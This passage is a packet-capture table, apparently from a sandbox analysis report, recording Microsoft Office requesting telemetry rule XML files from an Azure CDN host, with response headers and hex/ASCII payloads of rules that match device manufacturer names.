49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49788	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:04 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:04 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035304Z-16849878b78fssff8btnns3b1400000006bg000000001s49 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:04 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49789	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:04 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:04 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 54a08b66-801e-008f-529b-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035304Z-16849878b78j5kdg3dndgqw0vg00000007ng00000000ghv8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:05 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49790	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:04 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 546431bf-201e-0085-0b72-2734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035305Z-16849878b786fl7gm2qg4r5y7000000006a0000000005vun x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49791	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:04 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:05 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:04 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 46a88b53-101e-0017-7e74-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035304Z-16849878b782d4lwcu6h6gmxnw00000005p000000000b5y0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49792	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:04 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: fb99dfde-101e-0065-28dd-264088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035305Z-r197bdfb6b46kdskt78qagqq1c000000063000000000es59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49793	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:04 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:05 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:05 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035305Z-16849878b785dznd7xpawq9gcn000000078g00000000q87u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:05 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49795	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:05 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:05 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3201f11f-301e-006e-7658-27f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035305Z-17c5cb586f672xmrz843mf85fn00000004rg00000000dha5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:05 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49794	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:05 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:05 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:05 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 892d3b27-201e-005d-7649-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035305Z-16849878b78zqkvcwgr6h55x9n00000005ag00000000payh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:05 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49796	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:05 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:05 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:05 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035305Z-16849878b78qf2gleqhwczd21s000000068g000000002y6v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:05 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49797	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:05 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:06 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:05 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035305Z-16849878b78bjkl8dpep89pbgg00000004pg00000000bzkw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:06 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49798	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:05 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:06 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:05 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035305Z-16849878b787wpl5wqkt5731b400000006q000000000gaqp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:06 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49799	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:06 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:06 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:06 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: a5807169-a01e-0032-6664-271949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035306Z-r197bdfb6b4grkz4xgvkar0zcs00000005hg00000000e9yb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
